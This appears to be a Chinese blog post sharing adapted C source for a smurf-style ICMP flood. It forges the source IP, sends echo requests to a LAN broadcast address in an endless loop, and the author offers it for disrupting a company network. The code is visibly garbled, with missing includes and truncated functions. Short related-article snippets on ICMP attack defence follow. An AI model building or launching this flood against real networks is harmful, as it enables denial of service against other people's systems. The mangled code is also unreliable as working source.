簡單的icmp攻擊

2021-08-30 04:11:29 字數 3459 閱讀 6682

由於本人很菜,這個**是改別人的.呵呵.可以在公司的區域網裡搞搞壞,呵呵.

我是在ubuntu8.04下的,需要gcc編譯.

修改了一些,加添了廣播,可發給255,我感覺會把區域網弄亂的 呵呵.

#include

#include

#include

#include

#include

#include

#include

unsigned short csum(unsigned short *packet, int packlen);

unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen);

unsigned short in_cksum(unsigned short *addr, int len);

//校驗和涵數 ip頭

unsigned short csum(unsigned short *packet, int packlen)

if (packlen > 0)

sum += *(unsigned char *) packet;

while (sum >> 16)

sum = (sum & 0xffff) + (sum >> 16);

return (unsigned short) ~sum;

}//校驗和涵數 tcp頭

unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen)

//校驗和涵數icmp頭

unsigned short in_cksum(unsigned short *addr, int len)

if (len == 1)

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

res = ~sum;

return res;

}int main(int argc, char *argv) else

//ip_hdrincl 在資料報中包含ip首部 int 這個選項常用於黑客技術中,隱藏自己的ip位址

if (setsockopt(sock, ipproto_ip, ip_hdrincl, &pktsize, sizeof(pktsize)) < 0)

const int on = 1;//設定常量,用於開啟廣播模式

//設定該介面上的廣播模式

if (setsockopt(sock, sol_socket, so_broadcast, &on, sizeof(on)) < 0)

printf("create iphead\r\n");

iphead->ip_v = 4;

iphead->ip_hl = 5;

iphead->ip_tos = 0x00;

iphead->ip_len = htons(pktsize);

iphead->ip_id = htons(getpid());

iphead->ip_off = 0;

iphead->ip_ttl = 0x0;

iphead->ip_p = ipproto_icmp;

iphead->ip_sum = 0;

inet_aton("192.168.0.182", &iphead->ip_src);//假冒的ip

inet_aton("192.168.0.255", &iphead->ip_dst);//被攻擊者的ip

printf("create icmphead\r\n");

icmphead->icmp_type = icmp_echo;

icmphead->icmp_code = 0;

icmphead->icmp_cksum = htons(~(icmp_echo << 8));

iphead->ip_sum = csum(iphead, sizeof(struct ip));

icmphead->icmp_cksum = in_cksum(icmphead, sizeof(struct icmp));

printf("start send\r\n");

int j;

int i = 1;

while (i > 0)

free(packet);

printf("end send\r\n");

return 0;}/*

*如果我們往廣播位址傳送乙個icmp echo報文(就是ping廣播位址一下),結果會得到非常多的回應,

*如果我們往廣播位址傳送乙個icmp 乙太網內每乙個允許接收廣播報文的主機都會回應乙個icmp_echoreply,

*如果我們往廣播位址傳送乙個icmp 如果你想試驗,可以在unix的機器上ping一下你區域網的廣播位址,

*如果我們往廣播位址傳送乙個icmp 會看到很多回應的的dup包,就是重複的應答

*root@test5:/home/malitest/mysockettest# ping 192.168.0.255 -b

warning: pinging broadcast address

ping 192.168.0.255 (192.168.0.255) 56(84) bytes of data.

64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.262 ms

64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.13 ms (dup!)

64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.17 ms (dup!)

64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.183 ms

64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.200 ms (dup!)

64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.242 ms (dup!)

64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.163 ms

64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.178 ms (dup!)

64 bytes from 192.168.0.4: icmp_seq=3 ttl=64 time=0.198 ms (dup!)

** windows系統上不會有這樣的結果,因為微軟的ping程式不對多個回應進行解包(所以我收不到重複的包了),收到第乙個包以後就丟棄後面的了,

* 同樣微軟的系統預設也不回應廣播位址的包

** windows防火牆 高階——>本地連線——>設定——>icmp

* */

如何防止基於ICMP的網路攻擊

許多網路攻擊都基於icmp協議。在下面這篇文章裡,我們將首先介紹icmp協議,然後 常見的基於icmp的網路攻擊,最後分析防火牆怎樣才能夠防止和減輕這種攻擊所造成的危害。icmp internet控制訊息協議,internet control message protocol 協議用來給ip協議提供...

ICMP 重定向攻擊和ICMP不可達報文攻擊

最近一直在研究各種畸形報文和一些特殊的報文,並且需要根據這些攻擊特點進行相應的資料報偵測與攔截。一切其他的攻擊以後有時間再來寫吧。當我研究到了icmp重定向和不可達報文攻擊的時候,覺得很有趣,icmp協議在我們網路中經常存在於ping 中,用於測試兩台主機之間的網路連通性,以前也聽說過這兩種形態的攻...

Linux網路程式設計 ICMP洪水攻擊

一 icmp洪水攻擊的原理 icmp flood 是一種在ping基礎上形成的,但是用ping程式很少能造成目標機宕機的問題,這裡邊最大的問題是提高處理的速度,icmp洪水攻擊主要有以下3種方式。1 直接洪水攻擊 這樣做需要本地主機的頻寬與目標主機之間頻寬進行比拼,可以採用多執行緒的方法一次性得傳送...